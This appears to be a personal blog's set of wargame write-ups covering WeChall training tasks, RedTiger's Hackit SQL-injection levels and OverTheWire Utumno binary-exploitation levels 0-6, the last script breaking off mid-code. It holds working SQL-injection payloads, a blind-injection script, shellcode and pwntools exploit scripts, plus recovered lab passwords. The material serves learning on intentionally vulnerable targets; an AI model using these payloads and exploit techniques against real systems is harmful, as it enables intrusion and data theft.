Hello Navi

Tech, Security & Personal Notes

Challenge

访问 ?action=request 获取一个随机消息,在 1.337 秒内将相同的消息提交回 ?answer=<message>

1
2
3
When you visit this link you receive a message.
Submit the same message back to .../?answer=the_message
Your timelimit is 1.337 seconds

Solution

手动打开两个页面来不及,需要用脚本在同一次 shell 调用中完成——变量捕获后立即提交:

1
2
MSG=$(curl -s -b 'WC=...' 'https://www.wechall.net/challenge/training/programming1/index.php?action=request')
curl -s -b 'WC=...' "https://www.wechall.net/challenge/training/programming1/index.php?answer=$MSG"

消息每次都不同(如 CRg1xhGuz97G7sp7IJGZk),且只有 1.337 秒有效。需要登录态(WC cookie)才能请求。

1
2
3
4
5
6
7
8
9
10
11
12
import subprocess, sys
url = 'https://www.wechall.net/challenge/training/programming1/index.php'
cookie = 'WC=...'

msg = subprocess.run(
['curl', '-s', '-b', cookie, url + '?action=request'],
capture_output=True, text=True).stdout.strip()

result = subprocess.run(
['curl', '-s', '-b', cookie, url + f'?answer={msg}'],
capture_output=True, text=True).stdout
print(result)
关键是用同一个 shell session 连续执行请求和提交,中间不加人工操作。

Challenge

The page displays a long binary string — 7-bit ASCII encoded text:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
10101001101000110100111100110100
00011101001100101111100011101000
10000011010011110011010000001101
11010110111000101101001111010001
00000110010111011101100011110111
11100100110010111001000100000110
00011110011110001111010011101001
01011100100000101100111011111110
10111100100100000111000011000011
11001111100111110111110111111100
10110010001000001101001111001101
00000110010111000011110011111100
11110011111010011000011110010111
0100110010111100100101110

Solution

每 7 位一组转十进制,再转 ASCII 字符:

1
2
3
4
bin_str = "01010100 01101000 ..."
chars = [chr(int(b, 2)) for b in bin_str.split()]
print(''.join(chars))
# This text is 7-bit encoded ascii. Your password is ***********.
easystarter

经典 MySQL 认证绕过。登录表单直接将用户输入拼接进 SQL 查询。

Challenge

目标:以 admin 身份登录。

源码中的查询逻辑:

1
2
$password = md5($password);
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  • $username 直接从 POST 参数拼接,无任何过滤
  • $password 经过 md5() 编码后再拼接,注入困难
1
2
3
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}

要求返回的 username 字段为 admin(大小写不敏感)。

Solution

在 username 注入 SQL 注释,截断密码检查:

1
2
Username: admin' --
Password: (任意)

实际执行的 SQL:

1
SELECT * FROM users WHERE username='admin' -- ' AND password='<md5>'

-- 后的内容被注释掉,查询只检查 username='admin'。数据库中存在 admin 用户,返回其数据,strtolower($result['username']) === 'admin' 成立,挑战解决。

I have written another include system for my dynamic webpages, but it seems to be vulnerable to LFI. 一个 PHP LFI 挑战,利用 PHP 松散比较(type juggling)绕过 switch 限制。

Challenge

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset($_GET['which'])) {
$which = $_GET['which'];
switch ($which) {
case 0:
case 1:
case 2:
require_once $which.'.php';
break;
default:
echo 'Hacker NoNoNo!';
}
}
?>

index.php?which=0 加载 News,which=1 加载 Forum,which=2 加载 Guestbook。

目标是加载 solution.php

Solution

PHP 的 switch 使用松散比较(== 而非 ===)。当字符串与整数比较时,PHP 把字符串转成整数——"solution" 不以数字开头,转成 0,因此 "solution" == 0true

1
var_dump("solution" == 0);  // bool(true)

传入 which=solution

  • $which = "solution"
  • switch 比较 "solution" == 0true,命中 case 0
  • case 0 无代码也无 breakfall-throughcase 1,再 fall-through 到 case 2
  • case 2:require_once $which.'.php' 执行

注意一点:$which 的值不会被 switch 改变 — 匹配到 case 0 之后,$which 仍然是 "solution",不是 0。fall-through 只是让执行流落入 case 2 的代码块,而那块代码引用的是原始变量值。

1
2
3
4
5
6
$which = "solution";
switch ($which) {
case 0: // "solution" == 0 → match, 但 $which 还是 "solution"
case 1: // fall-through
case 2: // fall-through, require_once "solution".php" ← 用的是原始 $which
}

绕过了 switch 的 default 拦截,也无需 . / 等特殊字符。

1
https://www.wechall.net/challenge/php0817/index.php?which=solution

验证:页面显示 "Well done, too easy... Do you know why this is possible?",solution.php 成功包含。

RedTiger's Hackit

https://redtiger.labs.overthewire.org

RedTiger 是一个纯 Web 安全的 wargame,共 10 关,全是 SQL 注入(最后一关是 PHP 反序列化),从简单到复杂。

解法记录如下。

Level 1 — Simple SQL-Injection

目标:获取 Hornoxe 用户的密码

表名:level1_users

页面 GET 参数 ?cat=N 存在数字型注入,原始 SQL 类似:

1
SELECT col1, col2, col3, col4 FROM some_table WHERE cat=1

这里 cat 参数查的是分类表,和登录无关。登录查询针对 level1_users 表。回显第 3、4 列。UNION 注入枚举 4 列即可:

1
?cat=1 UNION SELECT 1,2,username,password FROM level1_users

拿到 Hornoxe 的密码:thatwaseasy

登录后拿到 flag 和 Level 2 密码。

27cbddc803ecde822d87a7e8639f9315

Level 2 密码:passwords_will_change_over_time_let_us_do_a_shitty_rhyme

Level 2 — Simple login-bypass

目标:登录绕过

用 Level 1 密码通过 Cookie level2login 认证后,页面显示登录表单。

SQL 类似(表名推测,页面未给出):

1
SELECT * FROM users WHERE username='$username' AND password='$password'

直接在 password 字段用 ' OR '1'='1 绕过条件验证。

1222e2d4ad5da677efb188550528bfaa

Level 3 密码:feed_the_cat_who_eats_your_bread

Level 3 — Get an error

目标:获取 Admin 的密码

表名:level3_users

页面用 usr 参数查询用户详情。该参数经过 urlcrypt.inc 的解密函数处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function encrypt($str) {
$cryptedstr = "";
srand(3284724);
for ($i = 0; $i < strlen($str); $i++) {
$temp = ord(substr($str, $i, 1)) ^ rand(0, 255);
while (strlen($temp) < 3) {
$temp = "0".$temp;
}
$cryptedstr .= $temp."";
}
return base64_encode($cryptedstr);
}

function decrypt($str) {
srand(3284724);
if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $str)) {
$str = base64_decode($str);
if ($str != "" && $str != null && $str != false) {
$decStr = "";
for ($i = 0; $i < strlen($str); $i += 3) {
$array[$i/3] = substr($str, $i, 3);
}
foreach ($array as $s) {
$a = $s ^ rand(0, 255);
$decStr .= chr($a);
}
return $decStr;
}
return false;
}
return false;
}
?>

srand(3284724) 固定种子,rand(0, 255) 序列可预测。

两个已知加密值: - MDQyMjExMDE0MTgyMTQw -> decrypt -> Admin - MDYzMjIzMDA2MTU2MTQxMjU0 -> decrypt -> TheCow

通过 glibc srand(3284724) + rand() + PHP RAND_RANGE 宏可以算出 rand(0,255) 序列(前几个:107, 183, 99, 223, 226, 137...)。用 C 程序生成 200 个 key:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
int main() {
srand(3284724);
for (int i = 0; i < 200; i++)
printf("%d,", (int)(256.0 * rand() / (RAND_MAX + 1.0)));
}

加密 SQL 注入 payload 后用 usr 参数传入。表有 7 列,列映射为:

  • Username=2, First name=6, Name=7, ICQ=5, Email=4
  • id=1, password=7

Payload:

1
' union select '1',group_concat(password),'3','4','5','6','7' from level3_users#

加密后访问拿到 Admin 密码。列映射来自第三方 writeup,实际列顺序可能有变动。

thisisaverysecurepasswordEEE5rt

Level 4 密码:put_the_kitten_on_your_head

Level 4 — Blind Injection

目标:获取表 level4_secretkeyword 列的第一个值

URL 参数:?id=N

页面提示:

  • LIKE 被禁用
  • 唯一需要盲注的关卡

?id=1 返回 Query returned 1 rows.?id=0 返回 0 rows

列数:2 列(?id=1 UNION SELECT 1,2 返回 2 rows)

盲注脚本逐位提取 keyword:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://redtiger.labs.overthewire.org/level4.php'
cookies = {'level4login': 'put_the_kitten_on_your_head'}
keyword = ''
for i in range(1, 22):
bit = ''
# 判断 bit 长度
payload = {'id': f'if((select length(bin(ascii(substr(keyword,{i},1)))) from level4_secret limit 1)=7,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit_len = 7 if 'Query returned 1 rows' in r.text else 6
for j in range(1, bit_len+1):
payload = {'id': f'if((select substr(bin(ascii(substr(keyword,{i},1))),{j},1) from level4_secret limit 1)=0,1,0)'}
r = requests.get(url, cookies=cookies, params=payload)
bit += '0' if 'Query returned 1 rows' in r.text else '1'
keyword += chr(int(bit, 2))
print(keyword) # killstickswithbr1cks!
killstickswithbr1cks!

Level 5 密码:this_hack_it's_old

Level 5 — Advanced login-bypass

目标:绕过登录

禁用:substring, substr, (, ), mid

提示:密码是 MD5 加密的

注入点在登录表单。表有 2 列。用 UNION 注入自定义用户和已知 MD5 值:

1
' union select '1','c81e728d9d4c2f636f067f89cc14862c' #

c81e728d9d4c2f636f067f89cc14862c2 的 MD5。服务端验证流程是:查询用户名和 MD5 密码,然后将输入密码 MD5 后比较。

ca5c3c4f0bc85af1392aef35fc1d09b3

Level 6 密码:the_stone_is_cold

Level 6 — SQL-Injection

目标:获取 level6_users 表中 status=1 的第一个用户

参数:?user=N

这是一个 UNION 注入。页面先查询用户 ID,再用返回的数据构造第二个查询。5 列。

Payload:

1
' union select 1,id,3,password,5 from level6_users where status=1 #

返回:

  • Username: 3
  • Email: m0nsterk1ll

密码 m0nsterk1ll 登录成功。

074113b268d87dea21cc839954dec932

Level 7 密码:shitcoins_are_hold

Level 7 — SQL-Injection

目标:获取发布 google 新闻的用户名(level7_news 表,autor 列)

限制:禁用 substr, substring, ascii, mid, like, --(no comments)

原始查询涉及 JOIN,错误信息泄露了结构:

1
2
3
SELECT news.*, text.text, text.title
FROM level7_news news, level7_texts text
WHERE text.id = news.id AND (text.text LIKE '%$input%' OR text.title LIKE '%$input%')

$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的 " 做 quote-balancing:

payload 的 "(第 1 列)在 MySQL 默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括 OR text.title LIKE 分支),直到第二次 union select 后的 " 才闭合。('(第 4 列)和模板残留的 %' 拼接成 ('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT 返回 4 列。

id=3 是 google 新闻在表中的条目 ID(通过枚举 text.title 确定)。

1
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('

返回 autor:TestUserforg00gle

970cecc0355ed85306588a1a01db4d80

Level 8 密码:or_so_i'm_told

Level 8 — SQL-Injection

目标:获取 admin 的密码

用户信息编辑页面,注入点在 email 字段(没有转义)。

SQL 为 UPDATE 语句:

1
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input' WHERE id=1

在 email 字段注入,将 password 写入 name 字段利用回显读取。子查询从待更新的用户表(level8_users)中读取管理员密码。MySQL 不允许 UPDATE 的子查询直接引用目标表,需用 derived table 绕一层:

1
', name=(select password from (select password from level8_users limit 1) as t), email='a

执行后页面显示 Name 字段变成密码值。

19JPYS1jdgvkj

9ea04c5d4f90dae92c396cf7a6787715

Level 9 密码:network_pancakes_milk_and_wine

Level 9 — SQL-Injection

目标:获取任意用户的用户名和密码

表名:level9_users(数据源表)

这是一个 INSERT 注入。页面有提交表单(author, title, text)。注意涉及两个表:INSERT 写入一个内容表(如 level9_news),子查询从 level9_users 读取目标数据。

= 被过滤,但可以通过闭合括号注入:

1
'),((select username from level9_users),(select password from level9_users),'1

或者用 updatexml() 做 error-based 注入:

1
a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or '

结果:

  • Username: TheBlueFlower
  • Password: this_oassword_is_SEC//Ure.promised!
84ec870f1ac294508400e30d8a26a679

Level 10 密码:whatever_just_a_fresh_password

Level 10

目标:以 TheMaster 身份登录

页面有一个隐藏的 login 字段,值是 base64 编码的 PHP 序列化数据:

1
2
3
4
5
6
7
8
9
10
11
12
<b>Welcome to Level 10</b><br /><br />
Target: Bypass the login. Login as TheMaster<br />
<br /><br /><br />
<form method="post">
<input
type="hidden"
name="login"
value="YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9"
/>
<input type="submit" value="Login" name="dologin" />
</form>
<br /><br /><br />

解码后:

1
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

PHP unserialize() 反序列化后做 == 比较,后端大致逻辑:

1
2
$data = unserialize(base64_decode($_POST['login']));
if ($data->username == 'TheMaster' && $data->password == $db_password) { ... }

利用 PHP 类型转换漏洞:当 boolstring== 比较时,true == "任何字符串" 恒为 true,password 比较永远通过。

构造 Serialize:

1
2
3
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

b:1; → boolean true

base64:

1
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=

The password for the hall of fame is: *****************************

721ce43d433ad85bcfa56644b112fa52

utumno

utumno.labs.overthewire.org 2227

Utumno: 10 levels (0-9). Harder than Behemoth — creative exploitation: LD_PRELOAD hooking, argv/envp manipulation, integer overflows, negative index writes, setjmp/longjmp interference with pointer mangling.

Each user gets /tmp/utumno<N>/ for temp files.

1
2
3
4
5
6
SSH Information
Host: utumno.labs.overthewire.org
Port: 2227
User: utumno0
Passwords: /etc/utumno_pass/
Binaries: /utumno/

level 0 → level 1

Initial password: utumno0

Level 0: The binary is exec-only (no read permission). Calls puts() with the password string embedded in .rodata. Use LD_PRELOAD to hook puts() and dump the binary's data section from within the process:

1
2
3
4
5
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -Wall -shared -fPIC -ldl -m32 -o hook32.so ld-preload-hooks.c -DENABLE_ALL
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook32.so /utumno/utumno0
[LD_PRELOAD hook loaded] enabled: ALL
[HOOK puts] 'Read me! :P'
Read me! :P
1
2
3
4
5
6
7
8
9
10
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ vim hook-memdump.c
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -m32 -shared -fPIC -o hook-memdump.so hook-memdump.c
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook-memdump.so /utumno/utumno0
x.so.2
_used
rt_main
_2.0
on_start__
: **********
# ...

you can get the hook script from my scripts repo

ctf-tool

or use this script

1
2
3
4
5
6
7
8
9
10
11
12
// gcc -m32 -fPIC -shared preload.c -o preload.so
#include <stdio.h>
int puts(const char *str) {
const unsigned char *p = (const unsigned char *)0x0804a000;
for (int i = 0; i < 0x1000; i += 16) {
int ok = 1;
for (int j = 0; j < 16 && p[i+j]; j++)
if (p[i+j] < 0x20 || p[i+j] > 0x7e) ok = 0;
if (ok) fprintf(stderr, "%s\n", p+i);
}
return 0;
}
1
2
$ gcc -m32 -fPIC -shared preload.c -o preload.so
$ LD_PRELOAD=./preload.so /utumno/utumno0 2>&1

The password sits at 0x0804a010 in the binary's data section as a literal string.

ytvWa6DzmL

level 1 → level 2

Level 1: Binary reads filenames from a directory and executes the part after sh_ as raw machine code.

Binary logic:

  1. Check argv[1] != NULL, else exit(1)
  2. mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) → RWX region
  3. opendir(argv[1]), loop readdir()
  4. For each entry: strncmp(dname, "sh", 3) == 0 → match
  5. run(d_name + 3) → chdir(argv[1]), copy shellcode to RWX region, jmp there

So the shellcode IS the filename (after "sh_"). Constraints:

  • No null bytes (strcpy stops at \0)
  • No / (0x2f) — path separator, kernel rejects it in the filename
  • Max 252 bytes (Linux filename limit 255 − 3 for "sh_")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
r2 -A -q -c "pdf @ sym.main" /utumno/utumno1
┌ 173: int dbg.main (char **envp);
│ `- args(sp[0x8..0x10]) vars(4:sp[0x0..0xc])
│ 0x0804921b 55 push ebp ; utumno1.c:40:1 ; int main(int argc,char ** argv);
│ 0x0804921c 89e5 mov ebp, esp
│ 0x0804921e 83ec08 sub esp, 8
│ 0x08049221 8b450c mov eax, dword [envp] ; utumno1.c:44:14
│ 0x08049224 83c004 add eax, 4
│ 0x08049227 8b00 mov eax, dword [eax]
│ 0x08049229 85c0 test eax, eax ; utumno1.c:44:8
│ ┌─< 0x0804922b 7507 jne 0x8049234
│ │ 0x0804922d 6a01 push 1 ; utumno1.c:46:9 ; 1 ; int status
│ │ 0x0804922f e81cfeffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x804922b(x)
│ └─> 0x08049234 6a00 push 0 ; utumno1.c:49:11
│ 0x08049236 6aff push 0xffffffffffffffff
│ 0x08049238 6a22 push 0x22 ; '\"' ; 34
│ 0x0804923a 6a07 push 7 ; 7
│ 0x0804923c 6800100000 push 0x1000
│ 0x08049241 6a00 push 0
│ 0x08049243 e818feffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│ 0x08049248 83c418 add esp, 0x18
│ 0x0804924b a32cb20408 mov dword [obj.rwx], eax ; utumno1.c:49:9 ; [0x804b22c:4]=0
│ 0x08049250 a12cb20408 mov eax, dword [obj.rwx] ; utumno1.c:50:9 ; [0x804b22c:4]=0
│ 0x08049255 85c0 test eax, eax ; utumno1.c:50:8
│ ┌─< 0x08049257 7507 jne 0x8049260
│ │ 0x08049259 6a02 push 2 ; utumno1.c:51:9 ; 2 ; int status
│ │ 0x0804925b e8f0fdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x8049257(x)
│ └─> 0x08049260 8b450c mov eax, dword [envp] ; utumno1.c:53:22
│ 0x08049263 83c004 add eax, 4
│ 0x08049266 8b00 mov eax, dword [eax] ; utumno1.c:53:10
│ 0x08049268 50 push eax
│ 0x08049269 e832feffff call sym.imp.opendir
│ 0x0804926e 83c404 add esp, 4
│ 0x08049271 8945f8 mov dword [var_8h], eax
│ 0x08049274 837df800 cmp dword [var_8h], 0 ; utumno1.c:54:8
│ ┌─< 0x08049278 7533 jne 0x80492ad
│ │ 0x0804927a 6a01 push 1 ; utumno1.c:56:9 ; 1 ; int status
│ │ 0x0804927c e8cffdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x80492bf(x)
│ ┌──> 0x08049281 8b45fc mov eax, dword [s2] ; utumno1.c:61:30
│ ╎│ 0x08049284 83c00b add eax, 0xb ; 11
│ ╎│ 0x08049287 6a03 push 3 ; utumno1.c:61:13 ; 3 ; size_t n
│ ╎│ 0x08049289 50 push eax ; const char *s2
│ ╎│ 0x0804928a 6808a00408 push 0x804a008 ; const char *s1
│ ╎│ 0x0804928f e8fcfdffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
│ ╎│ 0x08049294 83c40c add esp, 0xc
│ ╎│ 0x08049297 85c0 test eax, eax ; utumno1.c:61:12
│ ┌───< 0x08049299 7512 jne 0x80492ad
│ │╎│ 0x0804929b 8b45fc mov eax, dword [s2] ; utumno1.c:63:17
│ │╎│ 0x0804929e 83c00b add eax, 0xb ; 11
│ │╎│ 0x080492a1 83c003 add eax, 3 ; utumno1.c:63:13
│ │╎│ 0x080492a4 50 push eax ; int32_t arg_8h
│ │╎│ 0x080492a5 e81cffffff call dbg.run
│ │╎│ 0x080492aa 83c404 add esp, 4
│ │╎│ ; CODE XREFS from dbg.main @ 0x8049278(x), 0x8049299(x)
│ └─└─> 0x080492ad ff75f8 push dword [var_8h] ; utumno1.c:59:18
│ ╎ 0x080492b0 e8cbfdffff call sym.imp.readdir
│ ╎ 0x080492b5 83c404 add esp, 4
│ ╎ 0x080492b8 8945fc mov dword [s2], eax
│ ╎ 0x080492bb 837dfc00 cmp dword [s2], 0 ; utumno1.c:59:31
│ └──< 0x080492bf 75c0 jne 0x8049281
│ 0x080492c1 b800000000 mov eax, 0 ; utumno1.c:67:12
│ 0x080492c6 c9 leave ; utumno1.c:68:1
└ 0x080492c7 c3 ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Build the shellcode, verify it has no nulls or /
$ python3 -c "
from pwn import *; context.arch='i386'
sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')
import sys; sys.stdout.buffer.write(sc)
" | xxd | head -1
# Should show no 00 or 2f bytes

# Set up the directory: symlink to /bin/sh, shellcode as filename
$ mkdir /tmp/x
$ ln -sf /bin/sh /tmp/x/code
$ python3 -c "
import sys, os; from pwn import *; context.arch='i386'
sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')
# Create file with raw shellcode bytes as filename (must be bytes path)
fd = os.open(b'/tmp/x/sh_' + sc, os.O_CREAT | os.O_WRONLY); os.close(fd)
"
$ /utumno/utumno1 /tmp/x
$ cat /etc/utumno_pass/utumno2

The shellcode does setreuid(16002,16002) (utumno2 UID = 0x3e82) then execve("code", ["code"], NULL) where "code" is a symlink to /bin/sh. The binary's run() calls chdir(argv[1]) before executing the shellcode, so the relative path "code" resolves correctly under /tmp/x/.

RdUzprHKSm

level 2 → level 3

Level 2: Binary checks argc == 0 then does strcpy(local_buf, envp[9]). Need argc == 0 via execve(path, NULL, envp). The 10th envp entry (envp[9]) overflows the 12-byte buffer, overwriting saved EBP and return address. Put NOP sled + shellcode in an earlier envp entry and point the return address there.

Write a Python script using pwntools + ctypes to call execve() with crafted envp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *
import ctypes

context.arch = 'i386'

shellcode = asm("""
xor eax, eax
xor ebx, ebx
mov bx, 0x3e83 /* utumno3 UID */
xor ecx, ecx
mov cx, 0x3e83
mov al, 71 /* setreuid */
int 0x80
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11 /* execve */
int 0x80
""")

nop_sled_len = 52
payload = b'\x90' * nop_sled_len + shellcode

# Find NOP address with GDB first!
# On gibson-1 with clean env: 0xffffdfb0 (52 NOPs before shellcode)
ret_addr = 0xffffdfb0
overflow = b'A' * 16 + p32(ret_addr)

# Build envp via ctypes (to get argc=0, pass NULL argv)
libc = ctypes.CDLL(None)
envp_entries = [b''] * 8 + [payload, overflow, None]
envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)

libc.execve(b'/utumno/utumno2', None, envp_arr)

envp layout:

  • indices 0-7: empty strings (filler)
  • index 8: NOP×52 + shellcode (return address points here)
  • index 9: "AAAA×4" + p32(ret_addr) — overflow data, strcpy'd into buffer

Find the NOP sled address in GDB, update ret_addr, then run:

1
2
3
$ python3 exploit.py
$ id
$ cat /etc/utumno_pass/utumno3
h3kVKJZuid

level 3 → level 4

Level 3: Byte-by-byte return address overwrite. Binary reads pairs of bytes (position, value) via getchar() in a loop. The position byte is XOR'd with (iteration * 3) before being used as an offset from [ebp - 0x24] (or [ebp - 0x20] on the current binary version — check the offset with GDB). Need to compute position bytes that target EIP after the XOR transform.

The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of the return address, then fill remaining slots with harmless writes.

Shellcode goes in EGG environment variable with a NOP sled. Find the sled address with GDB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *
import struct
import os
import subprocess

context.arch = 'i386'

shellcode = asm("""
xor eax, eax
xor ebx, ebx
mov bx, 0x3e84 /* utumno4 UID */
xor ecx, ecx
mov cx, 0x3e84
mov al, 71 /* setreuid */
int 0x80
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11 /* execve */
int 0x80
""")

# Find NOP address in EGG env var with GDB first!
# On gibson-1 with clean env: NOP sled at ~0xffffde00
NOP_ADDR = 0xffffde00

# Position bytes: write at [ebp - 0x20] + (P XOR (i*3))
# Target EIP at ebp+4, so need offset = 0x24 from base
# P XOR (i*3) = 0x24 → P = 0x24 XOR (i*3)
target = struct.pack('<I', NOP_ADDR)
payload = bytes([
0x24, target[0], # i=0: 0x24 XOR 0 = 0x24
0x27, target[1], # i=1: 0x24 XOR 3 = 0x27
0x22, target[2], # i=2: 0x24 XOR 6 = 0x22
0x2d, target[3], # i=3: 0x24 XOR 9 = 0x2d
])

# Fill remaining iterations with writes to saved EBP (harmless)
for j in range(4, 24):
p_val = (0x20) ^ (j * 3) # writes to ebp + 0
payload += bytes([p_val & 0xff, 0x41])

# Commands for the spawned shell (read from remaining stdin)
payload += b'id\ncat /etc/utumno_pass/utumno4\nexit\n'

# Launch binary with EGG env var containing NOP sled + shellcode
env = os.environ.copy()
env['EGG'] = b'\x90' * 500 + shellcode
subprocess.run(['./utumno/utumno3'], input=payload, env=env)
1
$ python3 exploit.py
qHWLExh7C5

level 4 → level 5

Level 4: Integer overflow in memcpy(). Arg1 is converted with atoi(), checked as 16-bit ≤ 63, but the actual memcpy size uses the full 32-bit value. Pass 65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but memcpy copies 65536 bytes.

Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer itself (second argument), with return address pointing into the NOP sled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pwn import *
import struct
import os
import subprocess

context.arch = 'i386'

shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno5'))

# Second argument: NOP + shellcode + padding + ret addr
OFFSET = 65286
payload = b'\x90' * 500
payload += shellcode
payload += b'\x90' * (OFFSET - len(payload))

# NOP address (find with GDB; 0xfffddd2a on gibson-1)
NOP_ADDR = 0xfffddd2a
payload += struct.pack('<I', NOP_ADDR)
# Pad to fill 65536 bytes (matches the overflow size via arg1)
payload += b'\x90' * (65536 - len(payload))

# Pass payload as argv[2] directly (no shell byte-corruption)
subprocess.run(['/utumno/utumno4', '65536', payload])
1
$ python3 exploit.py
vY134qxapL

level 5 → level 6

Level 5: Requires argc == 0 (or argc == 1 with argv[0][0] == 0). Accesses argv[10] which equals envp[9] (since argv[0]=NULL for argc=0). The hihi() function does strlen(envp[9]); if > 19 chars, uses strncpy(buf, envp[9], 20) overwriting 12-byte buffer + saved EBP + return address. Shellcode goes in envp[8].

Critical: On this server, execve(path, NULL, envp) sets argc=1 with argv[0]="". So argv[10] = envp[8], not envp[9]. Need to swap: envp[8] = overflow data, envp[9] = shellcode with NOP sled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
import ctypes

context.arch = 'i386'

shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno6'))
nop_sled = b'\x90' * 100 + shellcode

# overflow: strncpy copies 20 bytes max
# 0-11: fills 12-byte buffer
# 12-15: overwrites saved EBP
# 16-19: overwrites return address -> NOP sled
NOP_ADDR = 0xffffdf44 # find NOP address in envp[9] with GDB
overflow = b'A' * 12 + b'B' * 4 + p32(NOP_ADDR)

# Build envp: argv[10] = envp[8] on this server (argc=1, argv[0]="")
envp_entries = [b''] * 8 + [overflow, nop_sled, None]
envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)

libc = ctypes.CDLL(None)
libc.execve(b'/utumno/utumno5', None, envp_arr)
1
$ python3 exploit.py
aGlKWrixsh

level 6 → level 7

Level 6: Table-based key-value store with 3 args: position (base10), value (base16), description (string). A write at [ebp + pos*4 - 0x30] with position = -1 overwrites the malloc pointer at [ebp - 0x34]. Then strcpy(corrupted_malloc_ptr, argv[3]) copies description to the overwritten address — a controlled write to anywhere.

Attack: Position -1 overwrites the malloc pointer at [ebp - 0x34] with the return address as an integer. Then strcpy(corrupted_ptr, argv[3]) copies the packed shellcode address to the return slot — hijacking EIP.

Write primitive chain:

  1. [ebp - 0x34] = ret_addr via the table write (pos=-1, value=0xffffda9c)
  2. strcpy(0xffffda9c, argv[3]) — writes 4 bytes of packed NOP address to the return slot
  3. Function returns → EIP = NOP sled in EGG → shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from ctypes import *
from pwn import *; context.arch='i386'
import struct

libc = CDLL('libc.so.6')

# Build EGG: NOP sled + null-free shellcode(same to use cat)
sc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno7']))
egg = b'\x90' * 300 + sc

# Find these on the server via GDB (varies per environment):
# EBP ≈ 0xffffda98 → RET at 0xffffda9c
# NOP sled in EGG ≈ 0xffffddb0
ret_addr_loc = 0xffffda9c # write target: return slot
nop_addr = 0xffffddb0 # shellcode landing zone in EGG

argv = (c_char_p * 4)()
argv[0] = b'/utumno/utumno6'
argv[1] = b'-1'
argv[2] = f'{ret_addr_loc:#x}'.encode() # overwrite malloc ptr → ret addr
argv[3] = struct.pack('<I', nop_addr) # strcpy'd to ret slot

envp = (c_char_p * 2)()
envp[0] = egg
